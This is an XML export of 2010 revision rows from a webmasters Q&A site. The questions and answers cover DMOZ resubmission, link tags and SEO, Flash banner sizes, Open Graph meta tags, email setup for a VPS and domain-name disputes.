  <row Id="5914" PostHistoryTypeId="3" PostId="3013" RevisionGUID="c1142167-df46-43c3-9af7-c54885148e05" CreationDate="2010-09-14T12:16:10.097" UserId="233" Text="&lt;seo&gt;&lt;html&gt;&lt;links&gt;" />
  <row Id="5915" PostHistoryTypeId="5" PostId="2997" RevisionGUID="1e9eb8fe-7869-44ac-8911-fb2efa870257" CreationDate="2010-09-14T13:20:47.337" UserId="1429" Comment="added 317 characters in body" Text="Most sites I have done, got listed in DMOZ. It has always being a very frustrating process that required waiting for months.&#xD;&#xA;For some of these sites I had also to resubmit them again in order to see them listed.&#xD;&#xA;&#xD;&#xA;My question is: in case site A does not get listed in DMOZ after the 1st submission, do you know how long should I wait before submitting site A again? I'm supposing DMOZ does not enjoy receiveing the same site submitted each day by the same person.&#xD;&#xA;&#xD;&#xA;Maybe some of you was/is a DMOZ editor and knows the answer.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;UPDATE: thanks for all the replies. I know on DMOZ guideline they say to submit ste only once, but I and probably many of you experineced a site not being included in DMOZ. I think it's common sense to try to understand what was worng with the site, try to fix it and resubmit it again to DMOZ for inclusion." />
  <row Id="5916" PostHistoryTypeId="2" PostId="3014" RevisionGUID="63f558d6-6ebb-40a2-aa47-79e64f81362a" CreationDate="2010-09-14T13:24:18.990" UserId="1253" Text="As far as SEO benefits nothing stands out as being truly beneficial other then [`canonical`][1]. The only other SEO possible benefits I can see from using the `&lt;link&gt;` tag is when using start/next/previous to indicate pages related to the current one, like in a multi-page article, to help the search engines understand the relationship between those pages. Others like glossary, index, section, and appendix look like they may have semantic meaning that can have SEO effects but they seem to be very obscure and we can only speculate if they do indeed have any value.&#xD;&#xA;&#xD;&#xA;The only uses of link that seems to have any real world practical uses that I have seen are&#xD;&#xA;&#xD;&#xA; - favicon&#xD;&#xA; - start/next/previous&#xD;&#xA; - stylesheets (duh)&#xD;&#xA; - alternative (usually for style sheets but can be used for other doc types like PDFs)&#xD;&#xA; - canonical&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html-" />
  <row Id="5917" PostHistoryTypeId="5" PostId="2997" RevisionGUID="7d4aa345-87a2-402d-b7df-dc15e474ba8c" CreationDate="2010-09-14T13:31:35.023" UserId="1429" Comment="added 327 characters in body" Text="[link text][1]Most sites I have done, got listed in DMOZ. It has always being a very frustrating process that required waiting for months.&#xD;&#xA;For some of these sites I had also to resubmit them again in order to see them listed.&#xD;&#xA;&#xD;&#xA;My question is: in case site A does not get listed in DMOZ after the 1st submission, do you know how long should I wait before submitting site A again? I'm supposing DMOZ does not enjoy receiveing the same site submitted each day by the same person.&#xD;&#xA;&#xD;&#xA;Maybe some of you was/is a DMOZ editor and knows the answer.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;UPDATE: Thanks to danlefree, I should have explained in my question that I know on DMOZ guideline they say to [submit site only once][1].&#xD;&#xA;&#xD;&#xA;**Following slavishly DMOZ guideline, a site that was not included on 1st attempt should not be submitted again for the rest of your life.**&#xD;&#xA;&#xD;&#xA;I think it's common sense to try to understand what was wrong with the not included site, try to fix it and **after some time** try to submit the site again to DMOZ for inclusion.&#xD;&#xA;&#xD;&#xA;My question is more about what you percieve to be the right time to wait before submitting again a site to DMOZ.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/add.html" />
  <row Id="5918" PostHistoryTypeId="2" PostId="3015" RevisionGUID="48a92bc2-468e-4c86-a624-dc63d7091f88" CreationDate="2010-09-14T13:32:38.387" UserId="1703" Text="Obviously the smaller the file size the better but is there a maximum file size for flash banners?&#xD;&#xA;&#xD;&#xA;What are the most effective ways in which to reduce flash file sizes?" />
  <row Id="5919" PostHistoryTypeId="1" PostId="3015" RevisionGUID="48a92bc2-468e-4c86-a624-dc63d7091f88" CreationDate="2010-09-14T13:32:38.387" UserId="1703" Text="What file size should a flash banner be?" />
  <row Id="5920" PostHistoryTypeId="3" PostId="3015" RevisionGUID="48a92bc2-468e-4c86-a624-dc63d7091f88" CreationDate="2010-09-14T13:32:38.387" UserId="1703" Text="&lt;flash&gt;&lt;banners&gt;&lt;file-size&gt;" />
  <row Id="5921" PostHistoryTypeId="2" PostId="3016" RevisionGUID="903310cb-18b9-4123-aad9-3893971e95bc" CreationDate="2010-09-14T14:26:31.810" UserId="798" Text="As a former editor I know that in some categories without editors, the list of sites just grows. When I first started on my specific category, nothing had changed for more than a year. Technically, there is no definite answer. It is possible that even after months, still nobody has added/rejected your site. Getting information on why your site was rejected is next to impossible." />
  <row Id="5922" PostHistoryTypeId="2" PostId="3017" RevisionGUID="81ee3194-7a0d-46cb-a000-9cbecaec5b6b" CreationDate="2010-09-14T14:48:26.757" UserId="1429" Text="I agree with Dan Diplo and to add to what he said, also **Google itself uses `display: none`** so it can't really be a problme using it, accordingly you don't use it for spamming (i.e. inserting hundreds fo keywords in a display:none DIV panel).&#xD;&#xA;&#xD;&#xA;Open [Google HOME PAGE][1] and look in source code. Search for `display:none` you are gonna see it many times. :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com" />
  <row Id="5923" PostHistoryTypeId="2" PostId="3018" RevisionGUID="002ed85b-2e5b-457f-b878-13da5ea13626" CreationDate="2010-09-14T14:54:46.313" UserId="17" Text="The size of your flash file should be **set to the conditions of your website and users**. The less you have on your site the more leeway you have with the size. Also, the more bandwidth your users have the more leeway you have.&#xD;&#xA;&#xD;&#xA;**There is no precise size** you should make a banner, in fact [placement is the most important][1]. I would suggest doing what you have proposed and make the file size as small as possible.&#xD;&#xA;&#xD;&#xA;To make you file **size smaller** I would make sure your code is light weight and the number of colors and animations are kept to a decent level. However, I'm sure there are a slew of tutorials online about how to get your file size down.&#xD;&#xA;&#xD;&#xA;As far as a **max size**, just keep in mind the conditions you are working with.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.viget.com/advance/banner-ad-placement-heat-map/" />
  <row Id="5924" PostHistoryTypeId="2" PostId="3019" RevisionGUID="4a12a12c-5948-4368-8a39-9715a1c141e9" CreationDate="2010-09-14T15:19:15.587" UserId="108" Text="Max file size is more of less irrelevant.  You are really limited by the how long you set your timeout for your page, the speed of your server, and most importantly the speed of the users internet connection.&#xD;&#xA;&#xD;&#xA;Your goal needs to be to get the file as small as possible without losing noticeable quality.  Remember, most users like fast loading web pages more and will leave sites that take a long time.  &#xD;&#xA;&#xD;&#xA;I would suggest testing your site with a tool like http://www.webpagetest.org/.  If you get load times longer than 10 seconds then you should work on making it smaller." />
  <row Id="5925" PostHistoryTypeId="2" PostId="3020" RevisionGUID="11cd37f2-a74c-4eca-ac4d-4acc338d6059" CreationDate="2010-09-14T16:20:01.237" UserId="1074" Text="It's important to mention the strength of alternatives.  I actually encourage my clients to avoid Flash altogether.  (disclaimer, I'm an Adobe Certified Flash Dev, so I do understand it well)  It's not that the file size is that much bigger (though that's often true) but the problem with Flash is compatibility with the myriad of browsers out there...and the fact that it's not a native solution on the web.  If you're using it for nav as well, you potentially have major SEO issues to contend with.&#xD;&#xA;&#xD;&#xA;Recently, I updated Firefox and it threw a big warning about Flash being a security risk and to update immediately.  I selected the update link, and it failed.  I started to download it, and it told me that it required additional software...I said forget it.  Now, being a power user I know how to fix the problem, but what about those who don't?  How about the Mac purists who are hearing the head guru say that Flash is the work of the devil?&#xD;&#xA;&#xD;&#xA;Just like .pdf is often abused by those who are print-obsessed, flash is often done for little or no reason at all.  Remember, you not only have to load that additional file, but you have to instantiate the viewer in the browser, provided they have it installed at all.  If your site is being viewed on an iPhone or iPad, you just destroyed the user experience and need to develop an alternative.  Was it really worth it?&#xD;&#xA;&#xD;&#xA;HTML5 is not quite there yet (universally speaking) but it brings native motion and tweening.  Javascript solutions can rival Flash on interactivity and motion options.  So, before you go down that road, stop and ask the question....does the end user experience justify the means (Flash)?&#xD;&#xA;&#xD;&#xA;There's no right answer here...it's all dependent on your particular situation.  Good luck!" />
  <row Id="5928" PostHistoryTypeId="5" PostId="3004" RevisionGUID="ba91671f-0c5b-4883-a5b3-d7cb96663b49" CreationDate="2010-09-14T16:35:57.053" UserId="1064" Comment="Updated to address question update" Text="&gt; An ODP editor will review your&#xD;&#xA;&gt; submission to determine whether to&#xD;&#xA;&gt; include it in the directory. Depending&#xD;&#xA;&gt; on factors such as the volume of&#xD;&#xA;&gt; submissions to the particular&#xD;&#xA;&gt; category, it may take several weeks or&#xD;&#xA;&gt; more before your submission is&#xD;&#xA;&gt; reviewed. Please only submit a URL to&#xD;&#xA;&gt; the Open Directory once.&#xD;&#xA;&#xD;&#xA;[DMOZ Submission Guidelines][1]&#xD;&#xA;&#xD;&#xA;&gt; I should have explained in my question&#xD;&#xA;&gt; that I know on DMOZ guideline they say&#xD;&#xA;&gt; to submit site only once.&#xD;&#xA;&#xD;&#xA;Unfortunately, there are very few (if any) guarantees that you will be able to address a declined submission at DMOZ no matter how many times you resubmit, so my best advice would be to move on to other venues for advertising rather than risk evoking the ire of DMOZ's editor(s) for the category you're submitting to (a second and final request sent after 6 months seems reasonable, though).&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/add.html" />
  <row Id="5929" PostHistoryTypeId="5" PostId="3017" RevisionGUID="8989aec4-fa79-4132-8cfb-c50dc1244972" CreationDate="2010-09-14T17:06:17.867" UserId="1429" Comment="added 2 characters in body; added 5 characters in body; added 18 characters in body; deleted 1 characters in body" Text="I agree with *Dan Diplo* and to add to what he said, also **Google itself uses `display: none` in its HOME PAGE**, so it can't really be a problem using it, as long as you don't use it for spamming (i.e. inserting hundreds fo keywords in a display:none DIV panel).&#xD;&#xA;&#xD;&#xA;Open [Google HOME PAGE][1] and look in HTML source code. Search for `display:none` you are gonna see it many times. :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com" />
  <row Id="5930" PostHistoryTypeId="2" PostId="3022" RevisionGUID="bfd0a62d-59e3-4b6b-a46f-c4ac879d4c0f" CreationDate="2010-09-14T20:10:38.453" UserId="1967" Text="As far as I can tell, `property` is not a valid attribute of the `&lt;meta&gt;` tag in any of HTML 3, 4, XHTML-Transitional or XHTML-Strict. So why does the Open Graph Protocol (and Facebook's API docs) specify example code like this?&#xD;&#xA;&#xD;&#xA;    &lt;html xmlns:og=&quot;http://ogp.me/ns#&quot;&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;    &lt;title&gt;The Rock (1996)&lt;/title&gt;&#xD;&#xA;    &lt;meta property=&quot;og:title&quot; content=&quot;The Rock&quot; /&gt;&#xD;&#xA;    &lt;meta property=&quot;og:type&quot; content=&quot;movie&quot; /&gt;&#xD;&#xA;    &lt;meta property=&quot;og:url&quot; content=&quot;http://www.imdb.com/title/tt0117500/&quot; /&gt;&#xD;&#xA;    &lt;meta property=&quot;og:image&quot; content=&quot;http://ia.media-imdb.com/images/rock.jpg&quot; /&gt;&#xD;&#xA;&#xD;&#xA;This doesn't validate. Changing `property` to `name` does validate, and I can verify that, at least on Facebook, it still works as intended. So why do they use `property` in their example code?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;http://opengraphprotocol.org/" />
  <row Id="5931" PostHistoryTypeId="1" PostId="3022" RevisionGUID="bfd0a62d-59e3-4b6b-a46f-c4ac879d4c0f" CreationDate="2010-09-14T20:10:38.453" UserId="1967" Text="Why does Open Graph use &lt;meta property=.... in their example code?" />
  <row Id="5932" PostHistoryTypeId="3" PostId="3022" RevisionGUID="bfd0a62d-59e3-4b6b-a46f-c4ac879d4c0f" CreationDate="2010-09-14T20:10:38.453" UserId="1967" Text="&lt;facebook&gt;&lt;xhtml&gt;" />
  <row Id="5933" PostHistoryTypeId="2" PostId="3023" RevisionGUID="28966ba7-8960-4605-b80e-3ff10bcea257" CreationDate="2010-09-14T20:31:18.397" UserId="1253" Text="They define their own [custom DTD][1] ([definition of DTD][2]). This allows them to create their own extension to the HTML standard and as long as they follow their own DTD they are technically ok. It won't be valid HTML but it doesn't have to be.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/articles/customdtds2/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Document_Type_Definition" />
  <row Id="5934" PostHistoryTypeId="2" PostId="3024" RevisionGUID="d1832ae5-69f9-45f1-be3e-ba07cd286d46" CreationDate="2010-09-14T21:07:58.267" UserId="914" Text="Also be aware that not all user-agents are traditional web-browsers. I believe many screen-readers and other accessible user-agents can use the &quot;next&quot;, &quot;home&quot; and &quot;prev&quot; links for navigation. See [Dive Into Accessibility - Day 9: Providing additional navigation aids][1]. But for pure SEO then I think &quot;canonical&quot; is the only really [important one][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://diveintoaccessibility.org/day_9_providing_additional_navigation_aids.html&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="5939" PostHistoryTypeId="2" PostId="3026" RevisionGUID="add3ce36-5688-4866-b15f-db5cdcf1f8de" CreationDate="2010-09-15T06:14:00.190" UserId="1053" Text="How can I get this effect (lines in an input)?&#xD;&#xA;&#xD;&#xA;![line-effect][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/ZcrWd.jpg" />
  <row Id="5940" PostHistoryTypeId="1" PostId="3026" RevisionGUID="add3ce36-5688-4866-b15f-db5cdcf1f8de" CreationDate="2010-09-15T06:14:00.190" UserId="1053" Text="How can I get this effect (lines in an input)?" />
  <row Id="5941" PostHistoryTypeId="3" PostId="3026" RevisionGUID="add3ce36-5688-4866-b15f-db5cdcf1f8de" CreationDate="2010-09-15T06:14:00.190" UserId="1053" Text="&lt;css&gt;&lt;website-design&gt;" />
  <row Id="5942" PostHistoryTypeId="2" PostId="3027" RevisionGUID="f88cbfc6-5009-4737-9223-dabd761c51f1" CreationDate="2010-09-15T06:47:43.617" UserId="745" Text="You can use a background CSS image for a text area.&#xD;&#xA;&#xD;&#xA;    textarea {background:url(http://www.example.com/your_image.jpg;}" />
  <row Id="5943" PostHistoryTypeId="2" PostId="3028" RevisionGUID="297eca46-86e8-45bf-9615-9b0d863b6dec" CreationDate="2010-09-15T08:29:31.457" UserId="1454" Text="I'm starting to create a site, and want to run it on a VPS rather than shared for a variety of reasons. This means that, if I were to want email services, I'd need to tackle the non-trivial task of running an email server. Not a fun problem for a &quot;noob&quot; like me.&#xD;&#xA;&#xD;&#xA;The three uses I can think of break down as follows:&#xD;&#xA;&#xD;&#xA;1. The usual &quot;email the admin/support/whatever&quot; services. I suppose I could get away with using &quot;mysite@gmail.com&quot; but I'd prefer to keep everything uniform if possible.&#xD;&#xA;2. Account confirmation emails / password resets. This seems like the major hurdle.&#xD;&#xA;3. Digest emails, i.e. &quot;the following has happened to your stuff in the last week - replies, votes, etc.&quot; Not dissimilar from the stackoverflow emails. Opt-in, obviously.&#xD;&#xA;&#xD;&#xA;Do I really have the option of not supporting email on my site?" />
  <row Id="5944" PostHistoryTypeId="1" PostId="3028" RevisionGUID="297eca46-86e8-45bf-9615-9b0d863b6dec" CreationDate="2010-09-15T08:29:31.457" UserId="1454" Text="How Important Is Email?" />
  <row Id="5945" PostHistoryTypeId="3" PostId="3028" RevisionGUID="297eca46-86e8-45bf-9615-9b0d863b6dec" CreationDate="2010-09-15T08:29:31.457" UserId="1454" Text="&lt;email&gt;" />
  <row Id="5946" PostHistoryTypeId="2" PostId="3029" RevisionGUID="f588dfe1-3bb2-4434-b109-ce7ccd2ea1b9" CreationDate="2010-09-15T09:02:13.477" UserId="1220" Text="You can get the information regarding domain from here&#xD;&#xA;&#xD;&#xA;http://domain.indiatimes.com/WebSol/shopping/domainHome.sh&#xD;&#xA;" />
  <row Id="5947" PostHistoryTypeId="2" PostId="3030" RevisionGUID="8ef28561-3f92-4697-8eb7-4f35c1c4adc5" CreationDate="2010-09-15T10:36:08.433" UserId="1857" Text="Email is still very important. And don't use a company@gmail.com / @hotmail.com account, it just sends all the wrong kinds of signals. On the other hand, nobody says you need to run an SMTP server yourself.&#xD;&#xA;&#xD;&#xA;One simple and low-cost solution is **free [Google Apps Standard][1] on your own domain name**. This gives you a simple web interface to manage email accounts, a GMail webmail application, and POP3 / SMTP / IMAP4 access to your emails. You can use a regular POP3/SMTP client library to send emails from your webapp servers. I have seen anecdotal complaints slow'ish delivery and hitting Google's limits too soon while using the free Google Apps edition; but I have never experienced these problems myself.&#xD;&#xA;&#xD;&#xA;**If you need to send many emails** you can always upgrade to a [for-pay Google App Engine account][2], or switch your outgoing mailserver to something like [Sendgrid][3].&#xD;&#xA;&#xD;&#xA;One important thing to remember: You should **set up a [Sender Policy Framework][4] record** for your domain, and [include the SPF records of your external mail providers][5].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/apps/intl/en/group/index.html&#xD;&#xA;  [2]: http://code.google.com/appengine/&#xD;&#xA;  [3]: http://sendgrid.com/&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Sender_Policy_Framework&#xD;&#xA;  [5]: http://www.google.com/support/a/bin/answer.py?hl=en&amp;answer=33786" />
  <row Id="5948" PostHistoryTypeId="2" PostId="3031" RevisionGUID="4ba61157-6661-4fc2-9911-260016f27bdc" CreationDate="2010-09-15T10:37:16.267" UserId="1204" Text="I'm considering this matter for a couple of sites/apps that I'm planning to implement at some point soon. For my apps I am leaning in the direction of not supporting email, but the decisions very much depends on your target audience.&#xD;&#xA;&#xD;&#xA;For the three use cases you mention:&#xD;&#xA;&#xD;&#xA;1. You don't need to run your own mail server for this. You could use your registrar's mail forwarding to send the mail to your gmail (or similar) account or setup the domain's DNS so you can use gmail directly via the &quot;google for your domain&quot; system [like so][1].&#xD;&#xA;2. My target audience is not the general public at large so I'm going for the &quot;use something like keepass and you'll not forget your password&quot; and &quot;you neglected to rmeeber your account credentials, well aren't you daft&quot; approaches - but if you are targeting a wide audience especially if you are planning to (now or later) make some income from the sites then this will not wash.  &#xD;&#xA;You don't need to run a full mail server for account notifications though - just an outgoing server. Make sure that it is not configured as an open relay (must distributions standard mail setup is correct out of the box in this regard but always test for yourself just in case) and if you have SPF or similar DNS based anti-spam hints set for your domain(s) make sure the new server is listed as a legitimate sender.&#xD;&#xA;3. This sort of information could be presented as a web page based dashboard, unless there might be urgent messages that your user will want/need to see without logging into your app.&#xD;&#xA;As with account actions, you don't need to setup a full mail server for this though - just an MTA for sending.&#xD;&#xA;&#xD;&#xA;Even if you only send from your VPS and keep your main mail service hosted elsewhere, you still have the problem of mail from your VPS being mis-identified as junk which is one of my reasons for wanting to do away with my apps sending mail all together - if I dont; send any mail I don't have to deal with irate users of mail services with over sensitive junk filters or the possibility of people accidentally flagging the messages as junk (meaning they might not get your future messages).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.htmlcenter.com/blog/setting-up-google-apps-gmail-for-your-domain/" />
  <row Id="5949" PostHistoryTypeId="5" PostId="3031" RevisionGUID="6e86e407-1036-4d4a-bdb5-96f09fd91293" CreationDate="2010-09-15T10:45:06.080" UserId="1204" Comment="added 293 characters in body" Text="I'm considering this matter for a couple of sites/apps that I'm planning to implement at some point soon. For my apps I am leaning in the direction of not supporting email, but the decisions very much depends on your target audience.&#xD;&#xA;&#xD;&#xA;For the three use cases you mention:&#xD;&#xA;&#xD;&#xA;1. You don't need to run your own mail server for this. You could use your registrar's mail forwarding to send the mail to your gmail (or similar) account or setup the domain's DNS so you can use gmail directly via the &quot;google for your domain&quot; system [like so][1].&#xD;&#xA;2. My target audience is not the general public at large so I'm going for the &quot;use something like keepass and you'll not forget your password&quot; and &quot;you neglected to remeber your account credentials, well aren't you daft&quot; approaches - but if you are targeting a wide audience especially if you are planning to (now or later) make some income from the sites then this will not wash.  &#xD;&#xA;You don't need to run a full mail server for account notifications though - just an outgoing server. Make sure that it is not configured as an open relay (must distributions standard mail setup is correct out of the box in this regard but always test for yourself just in case) and if you have SPF or similar DNS based anti-spam hints set for your domain(s) make sure the new server is listed as a legitimate sender.&#xD;&#xA;3. This sort of information could be presented as a web page based dashboard, unless there might be urgent messages that your user will want/need to see without logging into your app.&#xD;&#xA;As with account actions, you don't need to setup a full mail server for this though - just an MTA for sending.&#xD;&#xA;&#xD;&#xA;Even if you only send from your VPS and keep your main mail service hosted elsewhere, you still have the problem of mail from your VPS being mis-identified as junk which is one of my reasons for wanting to do away with my apps sending mail all together - if I don't send any mail I don't have to deal with irate users of mail services with over sensitive junk filters or the possibility of people accidentally flagging the messages as junk (meaning they might not get your future messages).&#xD;&#xA;&#xD;&#xA;Unfortunately the only way to answer &quot;can I really live without my site sending mail&quot; is to consider your target audience and how they will want to use your services. You can do without mail if your users won't miss the feature(s) or you can justify them not being there if your users ask.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.htmlcenter.com/blog/setting-up-google-apps-gmail-for-your-domain/" />
  <row Id="5950" PostHistoryTypeId="2" PostId="3032" RevisionGUID="1f9a75c1-765e-46e7-ab65-3266471e5222" CreationDate="2010-09-15T11:18:17.933" UserId="2020" Text="Over on Serverfault, [Tim pointed me][1] towards a script called [phpLdapPassword][2].&#xD;&#xA;&#xD;&#xA;It took about 5 minutes to configure and also provides password reset capabilities.&#xD;&#xA;&#xD;&#xA;The only potential problem is that the author is no longer maintaining it. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/questions/180364/is-there-an-app-script-i-can-deploy-to-enable-my-users-to-change-their-own-ldap-p/180405#180405&#xD;&#xA;  [2]: http://www.karylstein.com/phpLdapPasswd" />
  <row Id="5951" PostHistoryTypeId="2" PostId="3033" RevisionGUID="19b814c2-4344-42d9-b11a-0c4d9b9f1bd7" CreationDate="2010-09-15T12:08:27.493" UserId="1970" Text="I am implimenting nopCommerce and need to accept credit cards, has anyone had any experience with a payment gateway that works in South Africa?&#xD;&#xA;&#xD;&#xA;I had a look at Paypal but they don't support ZAR as a currency yet. The other payment provider that I was looking at is Two Checkout.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="5952" PostHistoryTypeId="1" PostId="3033" RevisionGUID="19b814c2-4344-42d9-b11a-0c4d9b9f1bd7" CreationDate="2010-09-15T12:08:27.493" UserId="1970" Text="Payment provider that works in South Africa" />
  <row Id="5953" PostHistoryTypeId="3" PostId="3033" RevisionGUID="19b814c2-4344-42d9-b11a-0c4d9b9f1bd7" CreationDate="2010-09-15T12:08:27.493" UserId="1970" Text="&lt;web-development&gt;&lt;payments&gt;&lt;ecommerce&gt;&lt;shopping-cart&gt;" />
  <row Id="5954" PostHistoryTypeId="2" PostId="3034" RevisionGUID="5a98e546-5b2a-4901-912c-ca508eaebc7c" CreationDate="2010-09-15T14:26:14.370" UserId="89" Text="You can also try http://nameboy.com" />
  <row Id="5955" PostHistoryTypeId="2" PostId="3035" RevisionGUID="319efab6-e72f-4742-a6a5-22cce3c5dafc" CreationDate="2010-09-15T14:51:00.920" UserId="67" Text="I love [domainr][1] for its instant lookup, like Google Suggest.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://domai.nr/" />
  <row Id="5956" PostHistoryTypeId="2" PostId="3036" RevisionGUID="6c26bd1f-4646-41ba-b1b4-337edea6aabe" CreationDate="2010-09-15T14:55:35.037" UserId="17" Text="It is also good to keep in mind that **Microformats are an open standard**. This means anyone can contribute.&#xD;&#xA;&#xD;&#xA;To be honest picking which one to use is **totally dependent on your website needs**. If there is a Microformate for what you need I suggest using it instead, at least for now. They are 5 years old and Microdata is still in the works.&#xD;&#xA;&#xD;&#xA;Microformats also get to recommended faster then the the W3C does, or at least it feels that way. " />
  <row Id="5957" PostHistoryTypeId="2" PostId="3037" RevisionGUID="cb201e64-eaf1-44f0-997c-60a5fec5c6ac" CreationDate="2010-09-15T15:02:01.213" UserId="70" Text="Despite being way too short (as of today) for a subject like this, the Wikipedia [article about Microdata (HTML5)][1] still puts the relationship between the three common semantic markup approaches nicely:&#xD;&#xA;&gt; Microdata can be viewed as an extension of the existing [microformat][2] idea which attempts to address the deficiencies of microformats without the complexity of systems such as [RDFa][3].&#xD;&#xA;&#xD;&#xA;So from a distance (i.e. ignoring technical differences) I'd say this pretty much *is all the story* indeed (for Microdata vs. Microformats - [RDFa is another subject matter][4]), consequently your main concern should be the target 'audience', i.e. whether your format of choice is supported by the clients you expect to consume your content - if Google is the usual benchmark here it appears your are free to go with the upcoming HTML5 standard.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Microdata_%28HTML5%29&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Microformat&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/RDFa&#xD;&#xA;  [4]: http://webmasters.stackexchange.com/questions/2860/microdata-vs-rfda" />
  <row Id="5958" PostHistoryTypeId="2" PostId="3038" RevisionGUID="67b007c6-7937-4288-987d-75ed3d478c4c" CreationDate="2010-09-15T17:48:05.437" UserId="1974" Text="Hi im from ireland and i want to set up an internet radio station. I thought of a good name but someone else from Ireland is planning on using this name. They own **radioname**fm.eu and have twitter and facebook page site setup. All the site says is something like &quot;coming soon, we're looking for presenters&quot; etc. Its been like this for nearly 2 years. &#xD;&#xA;&#xD;&#xA;Say i come along and buy **radioname**fm.ie (my countries tld) and set it up properly in a matter of weeks. Am i doing anything wrong?&#xD;&#xA;&#xD;&#xA;Thanks for your opinions" />
  <row Id="5959" PostHistoryTypeId="1" PostId="3038" RevisionGUID="67b007c6-7937-4288-987d-75ed3d478c4c" CreationDate="2010-09-15T17:48:05.437" UserId="1974" Text="Can i steal someone else idea?" />
  <row Id="5960" PostHistoryTypeId="3" PostId="3038" RevisionGUID="67b007c6-7937-4288-987d-75ed3d478c4c" CreationDate="2010-09-15T17:48:05.437" UserId="1974" Text="&lt;copyright&gt;" />
  <row Id="5961" PostHistoryTypeId="2" PostId="3039" RevisionGUID="88634000-9c1f-4e87-a6a5-d7c9bb345a82" CreationDate="2010-09-15T18:15:01.493" UserId="480" Text="It depends if they have a TradeMark or Registered Company Name, otherwise there is nothing *legally* stopping you.&#xD;&#xA;&#xD;&#xA;In answer to your question though &quot;Can I steal someone else's idea?&quot; that is something that falls under Patent law, with regards to content then its under Copyright.&#xD;&#xA;&#xD;&#xA;Wanting to set up an Internet radio station is fine, although if the other station actually gets larger, with the shared use of one name it will cause confusion; and if, in retrospect it is the one thing that holds you back from getting big, well you'll kick yourself for not avoiding it." />
  <row Id="5962" PostHistoryTypeId="4" PostId="3038" RevisionGUID="eb4c7e24-cc8a-4b35-9a29-d03354f35e46" CreationDate="2010-09-15T18:15:28.713" UserId="480" Comment="fixed grammar" Text="Can I steal someone else's idea?" />
  <row Id="5963" PostHistoryTypeId="5" PostId="3030" RevisionGUID="a78916a0-6f1c-4db9-b227-6ff06dc957b5" CreationDate="2010-09-15T20:20:26.140" UserId="1857" Comment="added 280 characters in body" Text="**Email is still very important.** And don't use a company@gmail.com / @hotmail.com account, it just sends all the wrong kinds of signals. On the other hand, nobody says you need to run an SMTP server yourself.&#xD;&#xA;&#xD;&#xA;One simple and low-cost solution is **free [Google Apps Standard][1] on your own domain name**. This gives you a simple web interface to manage email accounts, a GMail webmail application, and POP3 / SMTP / IMAP4 access to your emails. You can use a regular POP3/SMTP client library to send emails from your webapp servers. I have seen anecdotal complaints about slow'ish delivery and hitting Google's limits too soon while using the free Google Apps edition; but personally I have never had problems with Google Apps.&#xD;&#xA;&#xD;&#xA;**If you need to send many emails** you can always upgrade to a [for-pay Google App Engine account][2], or switch your outgoing mailserver to something like [Sendgrid][3].&#xD;&#xA;&#xD;&#xA;You should **set up a [Sender Policy Framework][4] record** to proactively whitelist the email servers for your domain, and [include the SPF records of your external mail providers][5].&#xD;&#xA;&#xD;&#xA;One last thing: Don't underestimate the power of emails as a sales &amp; retention tool. A targeted personal email after signup, a reminder email if someone isn't using the site during their trial period, etc -- these do help to reduce abandonment rate.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/apps/intl/en/group/index.html&#xD;&#xA;  [2]: http://code.google.com/appengine/&#xD;&#xA;  [3]: http://sendgrid.com/&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/Sender_Policy_Framework&#xD;&#xA;  [5]: http://www.google.com/support/a/bin/answer.py?hl=en&amp;answer=33786" />
  <row Id="5964" PostHistoryTypeId="2" PostId="3040" RevisionGUID="d5388682-1a74-4ba9-83a8-d032481489f0" CreationDate="2010-09-15T20:36:16.210" UserId="1857" Text="Disclaimer: I'm not a lawyer, and this is not qualified legal advice.&#xD;&#xA;&#xD;&#xA;Johnny, first off, if you're seriously considering this, then go see a good lawyer. And be sure to consult with a lawyer who specializes in business and/or immaterial property laws, and not fx a divorce lawyer.&#xD;&#xA;&#xD;&#xA;Before seeing a lawyer, you should read up on the basics so that you can be more efficient when meeting the lawyer, and you'll require fewer (expensive) billable hours. Here is a mini-overview of the different [types of immaterial property laws][1] to get you started.&#xD;&#xA;&#xD;&#xA;You're not stealing their idea; and even if you where, ideas cannot generally be protected legally. If anything, you're building a company that might be at risk for a trademark dispute, and could potentially loose the right to do business under its name.&#xD;&#xA;&#xD;&#xA;If you go ahead -- and just to be clear, that might very well be both possible and smart -- then be sure to get the trademark on the name. Trademark it both in Ireland and [in the EU][2] while you're at it. Having the trademark is not a 100% guarantee against future problems, because trademarks can be revoked under certain circumstances, but it is the &quot;legal high ground&quot; if it comes to court proceedings.&#xD;&#xA;&#xD;&#xA;My advice 